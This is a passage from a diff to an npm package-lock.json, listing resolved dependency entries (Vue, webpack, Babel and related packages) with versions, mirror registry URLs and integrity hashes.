"9.13.0", + "resolved": "https://registry.npmmirror.com/@vueuse/core/-/core-9.13.0.tgz", + "integrity": "sha512-pujnclbeHWxxPRqXWmdkKV5OX4Wk4YeK7wusHqRwU0Q7EFusHoqNA/aPhB6KCh9hEqJkLAJo7bb0Lh9b+OIVzw==", + "dependencies": { + "@types/web-bluetooth": "^0.0.16", + "@vueuse/metadata": "9.13.0", + "@vueuse/shared": "9.13.0", + "vue-demi": "*" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + } + }, + "node_modules/@vueuse/core/node_modules/vue-demi": { + "version": "0.14.10", + "resolved": "https://registry.npmmirror.com/vue-demi/-/vue-demi-0.14.10.tgz", + "integrity": "sha512-nMZBOwuzabUO0nLgIcc6rycZEebF6eeUfaiQx9+WSk8e29IbLvPU9feI6tqW4kTo3hvoYAJkMh8n8D0fuISphg==", + "hasInstallScript": true, + "bin": { + "vue-demi-fix": "bin/vue-demi-fix.js", + "vue-demi-switch": "bin/vue-demi-switch.js" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + }, + "peerDependencies": { + "@vue/composition-api": "^1.0.0-rc.1", + "vue": "^3.0.0-0 || ^2.6.0" + }, + "peerDependenciesMeta": { + "@vue/composition-api": { + "optional": true + } + } + }, + "node_modules/@vueuse/metadata": { + "version": "9.13.0", + "resolved": "https://registry.npmmirror.com/@vueuse/metadata/-/metadata-9.13.0.tgz", + "integrity": "sha512-gdU7TKNAUVlXXLbaF+ZCfte8BjRJQWPCa2J55+7/h+yDtzw3vOoGQDRXzI6pyKyo6bXFT5/QoPE4hAknExjRLQ==", + "funding": { + "url": "https://github.com/sponsors/antfu" + } + }, + "node_modules/@vueuse/shared": { + "version": "9.13.0", + "resolved": "https://registry.npmmirror.com/@vueuse/shared/-/shared-9.13.0.tgz", + "integrity": "sha512-UrnhU+Cnufu4S6JLCPZnkWh0WwZGUp72ktOF2DFptMlOs3TOdVv8xJN53zhHGARmVOsz5KqOls09+J1NR6sBKw==", + "dependencies": { + "vue-demi": "*" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + } + }, + "node_modules/@vueuse/shared/node_modules/vue-demi": { + "version": "0.14.10", + "resolved": "https://registry.npmmirror.com/vue-demi/-/vue-demi-0.14.10.tgz", + "integrity": "sha512-nMZBOwuzabUO0nLgIcc6rycZEebF6eeUfaiQx9+WSk8e29IbLvPU9feI6tqW4kTo3hvoYAJkMh8n8D0fuISphg==", + "hasInstallScript": true, + "bin": { + "vue-demi-fix": "bin/vue-demi-fix.js", + "vue-demi-switch": "bin/vue-demi-switch.js" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + }, + "peerDependencies": { + "@vue/composition-api": "^1.0.0-rc.1", + "vue": "^3.0.0-0 || ^2.6.0" + }, + "peerDependenciesMeta": { + "@vue/composition-api": { + "optional": true + } + } + }, + "node_modules/@webassemblyjs/ast": { + "version": "1.14.1", + "resolved": "https://registry.npmmirror.com/@webassemblyjs/ast/-/ast-1.14.1.tgz", + "integrity": "sha512-nuBEDgQfm1ccRp/8bCQrx1frohyufl4JlbMMZ4P1wpeOfDhF6FQkxZJ1b/e+PLwr6X1Nhw6OLme5usuBWYBvuQ==", + "dev": true, + "dependencies": { + "@webassemblyjs/helper-numbers": "1.13.2", + "@webassemblyjs/helper-wasm-bytecode": "1.13.2" + } + }, + "node_modules/@webassemblyjs/floating-point-hex-parser": { + "version": "1.13.2", + "resolved": "https://registry.npmmirror.com/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.13.2.tgz", + "integrity": "sha512-6oXyTOzbKxGH4steLbLNOu71Oj+C8Lg34n6CqRvqfS2O71BxY6ByfMDRhBytzknj9yGUPVJ1qIKhRlAwO1AovA==", + "dev": true + }, + "node_modules/@webassemblyjs/helper-api-error": { + "version": "1.13.2", + "resolved": "https://registry.npmmirror.com/@webassemblyjs/helper-api-error/-/helper-api-error-1.13.2.tgz", + "integrity": "sha512-U56GMYxy4ZQCbDZd6JuvvNV/WFildOjsaWD3Tzzvmw/mas3cXzRJPMjP83JqEsgSbyrmaGjBfDtV7KDXV9UzFQ==", + "dev": true + }, + "node_modules/@webassemblyjs/helper-buffer": { + "version": "1.14.1", + "resolved": "https://registry.npmmirror.com/@webassemblyjs/helper-buffer/-/helper-buffer-1.14.1.tgz", + "integrity": "sha512-jyH7wtcHiKssDtFPRB+iQdxlDf96m0E39yb0k5uJVhFGleZFoNw1c4aeIcVUPPbXUVJ94wwnMOAqUHyzoEPVMA==", + "dev": true + }, + "node_modules/@webassemblyjs/helper-numbers": { + "version": "1.13.2", + "resolved": "https://registry.npmmirror.com/@webassemblyjs/helper-numbers/-/helper-numbers-1.13.2.tgz", + "integrity": "sha512-FE8aCmS5Q6eQYcV3gI35O4J789wlQA+7JrqTTpJqn5emA4U2hvwJmvFRC0HODS+3Ye6WioDklgd6scJ3+PLnEA==", + "dev": true, + "dependencies": { + "@webassemblyjs/floating-point-hex-parser": "1.13.2", + "@webassemblyjs/helper-api-error": "1.13.2", + "@xtuc/long": "4.2.2" + } + }, + "node_modules/@webassemblyjs/helper-wasm-bytecode": { + "version": "1.13.2", + "resolved": "https://registry.npmmirror.com/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.13.2.tgz", + "integrity": "sha512-3QbLKy93F0EAIXLh0ogEVR6rOubA9AoZ+WRYhNbFyuB70j3dRdwH9g+qXhLAO0kiYGlg3TxDV+I4rQTr/YNXkA==", + "dev": true + }, + "node_modules/@webassemblyjs/helper-wasm-section": { + "version": "1.14.1", + "resolved": "https://registry.npmmirror.com/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.14.1.tgz", + "integrity": "sha512-ds5mXEqTJ6oxRoqjhWDU83OgzAYjwsCV8Lo/N+oRsNDmx/ZDpqalmrtgOMkHwxsG0iI//3BwWAErYRHtgn0dZw==", + "dev": true, + "dependencies": { + "@webassemblyjs/ast": "1.14.1", + "@webassemblyjs/helper-buffer": "1.14.1", + "@webassemblyjs/helper-wasm-bytecode": "1.13.2", + "@webassemblyjs/wasm-gen": "1.14.1" + } + }, + "node_modules/@webassemblyjs/ieee754": { + "version": "1.13.2", + "resolved": "https://registry.npmmirror.com/@webassemblyjs/ieee754/-/ieee754-1.13.2.tgz", + "integrity": "sha512-4LtOzh58S/5lX4ITKxnAK2USuNEvpdVV9AlgGQb8rJDHaLeHciwG4zlGr0j/SNWlr7x3vO1lDEsuePvtcDNCkw==", + "dev": true, + "dependencies": { + "@xtuc/ieee754": "^1.2.0" + } + }, + "node_modules/@webassemblyjs/leb128": { + "version": "1.13.2", + "resolved": "https://registry.npmmirror.com/@webassemblyjs/leb128/-/leb128-1.13.2.tgz", + "integrity": "sha512-Lde1oNoIdzVzdkNEAWZ1dZ5orIbff80YPdHx20mrHwHrVNNTjNr8E3xz9BdpcGqRQbAEa+fkrCb+fRFTl/6sQw==", + "dev": true, + "dependencies": { + "@xtuc/long": "4.2.2" + } + }, + "node_modules/@webassemblyjs/utf8": { + "version": "1.13.2", + "resolved": "https://registry.npmmirror.com/@webassemblyjs/utf8/-/utf8-1.13.2.tgz", + "integrity": "sha512-3NQWGjKTASY1xV5m7Hr0iPeXD9+RDobLll3T9d2AO+g3my8xy5peVyjSag4I50mR1bBSN/Ct12lo+R9tJk0NZQ==", + "dev": true + }, + "node_modules/@webassemblyjs/wasm-edit": { + "version": "1.14.1", + "resolved": "https://registry.npmmirror.com/@webassemblyjs/wasm-edit/-/wasm-edit-1.14.1.tgz", + "integrity": "sha512-RNJUIQH/J8iA/1NzlE4N7KtyZNHi3w7at7hDjvRNm5rcUXa00z1vRz3glZoULfJ5mpvYhLybmVcwcjGrC1pRrQ==", + "dev": true, + "dependencies": { + "@webassemblyjs/ast": "1.14.1", + "@webassemblyjs/helper-buffer": "1.14.1", + "@webassemblyjs/helper-wasm-bytecode": "1.13.2", + "@webassemblyjs/helper-wasm-section": "1.14.1", + "@webassemblyjs/wasm-gen": "1.14.1", + "@webassemblyjs/wasm-opt": "1.14.1", + "@webassemblyjs/wasm-parser": "1.14.1", + "@webassemblyjs/wast-printer": "1.14.1" + } + }, + "node_modules/@webassemblyjs/wasm-gen": { + "version": "1.14.1", + "resolved": "https://registry.npmmirror.com/@webassemblyjs/wasm-gen/-/wasm-gen-1.14.1.tgz", + "integrity": "sha512-AmomSIjP8ZbfGQhumkNvgC33AY7qtMCXnN6bL2u2Js4gVCg8fp735aEiMSBbDR7UQIj90n4wKAFUSEd0QN2Ukg==", + "dev": true, + "dependencies": { + "@webassemblyjs/ast": "1.14.1", + "@webassemblyjs/helper-wasm-bytecode": "1.13.2", + "@webassemblyjs/ieee754": "1.13.2", + "@webassemblyjs/leb128": "1.13.2", + "@webassemblyjs/utf8": "1.13.2" + } + }, + "node_modules/@webassemblyjs/wasm-opt": { + "version": "1.14.1", + "resolved": "https://registry.npmmirror.com/@webassemblyjs/wasm-opt/-/wasm-opt-1.14.1.tgz", + "integrity": "sha512-PTcKLUNvBqnY2U6E5bdOQcSM+oVP/PmrDY9NzowJjislEjwP/C4an2303MCVS2Mg9d3AJpIGdUFIQQWbPds0Sw==", + "dev": true, + "dependencies": { + "@webassemblyjs/ast": "1.14.1", + "@webassemblyjs/helper-buffer": "1.14.1", + "@webassemblyjs/wasm-gen": "1.14.1", + "@webassemblyjs/wasm-parser": "1.14.1" + } + }, + "node_modules/@webassemblyjs/wasm-parser": { + "version": "1.14.1", + "resolved": "https://registry.npmmirror.com/@webassemblyjs/wasm-parser/-/wasm-parser-1.14.1.tgz", + "integrity": "sha512-JLBl+KZ0R5qB7mCnud/yyX08jWFw5MsoalJ1pQ4EdFlgj9VdXKGuENGsiCIjegI1W7p91rUlcB/LB5yRJKNTcQ==", + "dev": true, + "dependencies": { + "@webassemblyjs/ast": "1.14.1", + "@webassemblyjs/helper-api-error": "1.13.2", + "@webassemblyjs/helper-wasm-bytecode": "1.13.2", + "@webassemblyjs/ieee754": "1.13.2", + "@webassemblyjs/leb128": "1.13.2", + "@webassemblyjs/utf8": "1.13.2" + } + }, + "node_modules/@webassemblyjs/wast-printer": { + "version": "1.14.1", + "resolved": "https://registry.npmmirror.com/@webassemblyjs/wast-printer/-/wast-printer-1.14.1.tgz", + "integrity": "sha512-kPSSXE6De1XOR820C90RIo2ogvZG+c3KiHzqUoO/F34Y2shGzesfqv7o57xrxovZJH/MetF5UjroJ/R/3isoiw==", + "dev": true, + "dependencies": { + "@webassemblyjs/ast": "1.14.1", + "@xtuc/long": "4.2.2" + } + }, + "node_modules/@xtuc/ieee754": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/@xtuc/ieee754/-/ieee754-1.2.0.tgz", + "integrity": "sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA==", + "dev": true + }, + "node_modules/@xtuc/long": { + "version": "4.2.2", + "resolved": "https://registry.npmmirror.com/@xtuc/long/-/long-4.2.2.tgz", + "integrity": "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ==", + "dev": true + }, + "node_modules/accepts": { + "version": "1.3.8", + "resolved": "https://registry.npmmirror.com/accepts/-/accepts-1.3.8.tgz", + "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==", + "dev": true, + "dependencies": { + "mime-types": "~2.1.34", + "negotiator": "0.6.3" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/accepts/node_modules/negotiator": { + "version": "0.6.3", + "resolved": "https://registry.npmmirror.com/negotiator/-/negotiator-0.6.3.tgz", + "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/acorn": { + "version": "8.14.0", + "resolved": "https://registry.npmmirror.com/acorn/-/acorn-8.14.0.tgz", + "integrity": "sha512-cl669nCJTZBsL97OF4kUQm5g5hC2uihk0NxY3WENAC0TYdILVkAyHymAntgxGkl7K+t0cXIrH5siy5S4XkFycA==", + "dev": true, + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/acorn-jsx": { + "version": "5.3.2", + "resolved": "https://registry.npmmirror.com/acorn-jsx/-/acorn-jsx-5.3.2.tgz", + "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==", + "dev": true, + "peerDependencies": { + "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" + } + }, + "node_modules/acorn-walk": { + "version": "8.3.4", + "resolved": "https://registry.npmmirror.com/acorn-walk/-/acorn-walk-8.3.4.tgz", + "integrity": "sha512-ueEepnujpqee2o5aIYnvHU6C0A42MNdsIDeqy5BydrkuC5R1ZuUFnm27EeFJGoEHJQgn3uleRvmTXaJgfXbt4g==", + "dev": true, + "dependencies": { + "acorn": "^8.11.0" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/address": { + "version": "1.2.2", + "resolved": "https://registry.npmmirror.com/address/-/address-1.2.2.tgz", + "integrity": "sha512-4B/qKCfeE/ODUaAUpSwfzazo5x29WD4r3vXiWsB7I2mSDAihwEqKO+g8GELZUQSSAo5e1XTYh3ZVfLyxBc12nA==", + "dev": true, + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/ajv": { + "version": "6.12.6", + "resolved": "https://registry.npmmirror.com/ajv/-/ajv-6.12.6.tgz", + "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", + "dev": true, + "dependencies": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/ajv-formats": { + "version": "2.1.1", + "resolved": "https://registry.npmmirror.com/ajv-formats/-/ajv-formats-2.1.1.tgz", + "integrity": "sha512-Wx0Kx52hxE7C18hkMEggYlEifqWZtYaRgouJor+WMdPnQyEK13vgEWyVNup7SoeeoLMsr4kf5h6dOW11I15MUA==", + "dev": true, + "dependencies": { + "ajv": "^8.0.0" + }, + "peerDependencies": { + "ajv": "^8.0.0" + }, + "peerDependenciesMeta": { + "ajv": { + "optional": true + } + } + }, + "node_modules/ajv-formats/node_modules/ajv": { + "version": "8.17.1", + "resolved": "https://registry.npmmirror.com/ajv/-/ajv-8.17.1.tgz", + "integrity": "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g==", + "dev": true, + "dependencies": { + "fast-deep-equal": "^3.1.3", + "fast-uri": "^3.0.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/ajv-formats/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "dev": true + }, + "node_modules/ajv-keywords": { + "version": "3.5.2", + "resolved": "https://registry.npmmirror.com/ajv-keywords/-/ajv-keywords-3.5.2.tgz", + "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==", + "dev": true, + "peerDependencies": { + "ajv": "^6.9.1" + } + }, + "node_modules/ansi-colors": { + "version": "4.1.3", + "resolved": "https://registry.npmmirror.com/ansi-colors/-/ansi-colors-4.1.3.tgz", + "integrity": "sha512-/6w/C21Pm1A7aZitlI5Ni/2J6FFQN8i1Cvz3kHABAAbw93v/NlvKdVOqz7CCWz/3iv/JplRSEEZ83XION15ovw==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/ansi-escapes": { + "version": "3.2.0", + "resolved": "https://registry.npmmirror.com/ansi-escapes/-/ansi-escapes-3.2.0.tgz", + "integrity": "sha512-cBhpre4ma+U0T1oM5fXg7Dy1Jw7zzwv7lt/GoCpr+hDQJoYnKVPLL4dCvSEFMmQurOQvSrwT7SL/DAlhBI97RQ==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/ansi-html-community": { + "version": "0.0.8", + "resolved": "https://registry.npmmirror.com/ansi-html-community/-/ansi-html-community-0.0.8.tgz", + "integrity": "sha512-1APHAyr3+PCamwNw3bXCPp4HFLONZt/yIH0sZp0/469KWNTEy+qN5jQ3GVX6DMZ1UXAi34yVwtTeaG/HpBuuzw==", + "dev": true, + "engines": [ + "node >= 0.8.0" + ], + "bin": { + "ansi-html": "bin/ansi-html" + } + }, + "node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmmirror.com/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmmirror.com/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/any-promise": { + "version": "1.3.0", + "resolved": "https://registry.npmmirror.com/any-promise/-/any-promise-1.3.0.tgz", + "integrity": "sha512-7UvmKalWRt1wgjL1RrGxoSJW/0QZFIegpeGvZG9kjp8vrRu55XTHbwnqq2GpXm9uLbcuhxm3IqX9OB4MZR1b2A==", + "dev": true + }, + "node_modules/anymatch": { + "version": "3.1.3", + "resolved": "https://registry.npmmirror.com/anymatch/-/anymatch-3.1.3.tgz", + "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==", + "dev": true, + "dependencies": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/arch": { + "version": "2.2.0", + "resolved": "https://registry.npmmirror.com/arch/-/arch-2.2.0.tgz", + "integrity": "sha512-Of/R0wqp83cgHozfIYLbBMnej79U/SVGOOyuB3VVFv1NRM/PSFMK12x9KVtiYzJqmnU5WR2qp0Z5rHb7sWGnFQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/argparse": { + "version": "1.0.10", + "resolved": "https://registry.npmmirror.com/argparse/-/argparse-1.0.10.tgz", + "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", + "dev": true, + "dependencies": { + "sprintf-js": "~1.0.2" + } + }, + "node_modules/array-flatten": { + "version": "1.1.1", + "resolved": "https://registry.npmmirror.com/array-flatten/-/array-flatten-1.1.1.tgz", + "integrity": "sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg==", + "dev": true + }, + "node_modules/array-union": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/array-union/-/array-union-2.1.0.tgz", + "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/astral-regex": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/astral-regex/-/astral-regex-2.0.0.tgz", + "integrity": "sha512-Z7tMw1ytTXt5jqMcOP+OQteU1VuNK9Y02uuJtKQ1Sv69jXQKKg5cibLwGJow8yzZP+eAc18EmLGPal0bp36rvQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/async": { + "version": "2.6.4", + "resolved": "https://registry.npmmirror.com/async/-/async-2.6.4.tgz", + "integrity": "sha512-mzo5dfJYwAn29PeiJ0zvwTo04zj8HDJj0Mn8TD7sno7q12prdbnasKJHhkm2c1LgrhlJ0teaea8860oxi51mGA==", + "dev": true, + "dependencies": { + "lodash": "^4.17.14" + } + }, + "node_modules/async-validator": { + "version": "4.2.5", + "resolved": "https://registry.npmmirror.com/async-validator/-/async-validator-4.2.5.tgz", + "integrity": "sha512-7HhHjtERjqlNbZtqNqy2rckN/SpOOlmDliet+lP7k+eKZEjPk3DgyeU9lIXLdeLz0uBbbVp+9Qdow9wJWgwwfg==" + }, + "node_modules/asynckit": { + "version": "0.4.0", + "resolved": "https://registry.npmmirror.com/asynckit/-/asynckit-0.4.0.tgz", + "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==" + }, + "node_modules/at-least-node": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/at-least-node/-/at-least-node-1.0.0.tgz", + "integrity": "sha512-+q/t7Ekv1EDY2l6Gda6LLiX14rU9TV20Wa3ofeQmwPFZbOMo9DXrLbOjFaaclkXKWidIaopwAObQDqwWtGUjqg==", + "dev": true, + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/autoprefixer": { + "version": "10.4.20", + "resolved": "https://registry.npmmirror.com/autoprefixer/-/autoprefixer-10.4.20.tgz", + "integrity": "sha512-XY25y5xSv/wEoqzDyXXME4AFfkZI0P23z6Fs3YgymDnKJkCGOnkL0iTxCa85UTqaSgfcqyf3UA6+c7wUvx/16g==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/autoprefixer" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "dependencies": { + "browserslist": "^4.23.3", + "caniuse-lite": "^1.0.30001646", + "fraction.js": "^4.3.7", + "normalize-range": "^0.1.2", + "picocolors": "^1.0.1", + "postcss-value-parser": "^4.2.0" + }, + "bin": { + "autoprefixer": "bin/autoprefixer" + }, + "engines": { + "node": "^10 || ^12 || >=14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/axios": { + "version": "1.7.8", + "resolved": "https://registry.npmmirror.com/axios/-/axios-1.7.8.tgz", + "integrity": "sha512-Uu0wb7KNqK2t5K+YQyVCLM76prD5sRFjKHbJYCP1J7JFGEQ6nN7HWn9+04LAeiJ3ji54lgS/gZCH1oxyrf1SPw==", + "dependencies": { + "follow-redirects": "^1.15.6", + "form-data": "^4.0.0", + "proxy-from-env": "^1.1.0" + } + }, + "node_modules/babel-loader": { + "version": "8.4.1", + "resolved": "https://registry.npmmirror.com/babel-loader/-/babel-loader-8.4.1.tgz", + "integrity": "sha512-nXzRChX+Z1GoE6yWavBQg6jDslyFF3SDjl2paADuoQtQW10JqShJt62R6eJQ5m/pjJFDT8xgKIWSP85OY8eXeA==", + "dev": true, + "dependencies": { + "find-cache-dir": "^3.3.1", + "loader-utils": "^2.0.4", + "make-dir": "^3.1.0", + "schema-utils": "^2.6.5" + }, + "engines": { + "node": ">= 8.9" + }, + "peerDependencies": { + "@babel/core": "^7.0.0", + "webpack": ">=2" + } + }, + "node_modules/babel-loader/node_modules/loader-utils": { + "version": "2.0.4", + "resolved": "https://registry.npmmirror.com/loader-utils/-/loader-utils-2.0.4.tgz", + "integrity": "sha512-xXqpXoINfFhgua9xiqD8fPFHgkoq1mmmpE92WlDbm9rNRd/EbRb+Gqf908T2DMfuHjjJlksiK2RbHVOdD/MqSw==", + "dev": true, + "dependencies": { + "big.js": "^5.2.2", + "emojis-list": "^3.0.0", + "json5": "^2.1.2" + }, + "engines": { + "node": ">=8.9.0" + } + }, + "node_modules/babel-plugin-dynamic-import-node": { + "version": "2.3.3", + "resolved": "https://registry.npmmirror.com/babel-plugin-dynamic-import-node/-/babel-plugin-dynamic-import-node-2.3.3.tgz", + "integrity": "sha512-jZVI+s9Zg3IqA/kdi0i6UDCybUI3aSBLnglhYbSSjKlV7yF1F/5LWv8MakQmvYpnbJDS6fcBL2KzHSxNCMtWSQ==", + "dev": true, + "dependencies": { + "object.assign": "^4.1.0" + } + }, + "node_modules/babel-plugin-polyfill-corejs2": { + "version": "0.4.12", + "resolved": "https://registry.npmmirror.com/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.4.12.tgz", + "integrity": "sha512-CPWT6BwvhrTO2d8QVorhTCQw9Y43zOu7G9HigcfxvepOU6b8o3tcWad6oVgZIsZCTt42FFv97aA7ZJsbM4+8og==", + "dev": true, + "dependencies": { + "@babel/compat-data": "^7.22.6", + "@babel/helper-define-polyfill-provider": "^0.6.3", + "semver": "^6.3.1" + }, + "peerDependencies": { + "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" + } + }, + "node_modules/babel-plugin-polyfill-corejs3": { + "version": "0.10.6", + "resolved": "https://registry.npmmirror.com/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.10.6.tgz", + "integrity": "sha512-b37+KR2i/khY5sKmWNVQAnitvquQbNdWy6lJdsr0kmquCKEEUgMKK4SboVM3HtfnZilfjr4MMQ7vY58FVWDtIA==", + "dev": true, + "dependencies": { + "@babel/helper-define-polyfill-provider": "^0.6.2", + "core-js-compat": "^3.38.0" + }, + "peerDependencies": { + "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" + } + }, + "node_modules/babel-plugin-polyfill-regenerator": { + "version": "0.6.3", + "resolved": "https://registry.npmmirror.com/babel-plugin-polyfill-regenerator/-/babel-plugin-polyfill-regenerator-0.6.3.tgz", + "integrity": "sha512-LiWSbl4CRSIa5x/JAU6jZiG9eit9w6mz+yVMFwDE83LAWvt0AfGBoZ7HS/mkhrKuh2ZlzfVZYKoLjXdqw6Yt7Q==", + "dev": true, + "dependencies": { + "@babel/helper-define-polyfill-provider": "^0.6.3" + }, + "peerDependencies": { + "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" + } + }, + "node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "dev": true + }, + "node_modules/base64-js": { + "version": "1.5.1", + "resolved": "https://registry.npmmirror.com/base64-js/-/base64-js-1.5.1.tgz", + "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/batch": { + "version": "0.6.1", + "resolved": "https://registry.npmmirror.com/batch/-/batch-0.6.1.tgz", + "integrity": "sha512-x+VAiMRL6UPkx+kudNvxTl6hB2XNNCG2r+7wixVfIYwu/2HKRXimwQyaumLjMveWvT2Hkd/cAJw+QBMfJ/EKVw==", + "dev": true + }, + "node_modules/big.js": { + "version": "5.2.2", + "resolved": "https://registry.npmmirror.com/big.js/-/big.js-5.2.2.tgz", + "integrity": "sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==", + "dev": true, + "engines": { + "node": "*" + } + }, + "node_modules/binary-extensions": { + "version": "2.3.0", + "resolved": "https://registry.npmmirror.com/binary-extensions/-/binary-extensions-2.3.0.tgz", + "integrity": "sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw==", + "dev": true, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/bl": { + "version": "4.1.0", + "resolved": "https://registry.npmmirror.com/bl/-/bl-4.1.0.tgz", + "integrity": 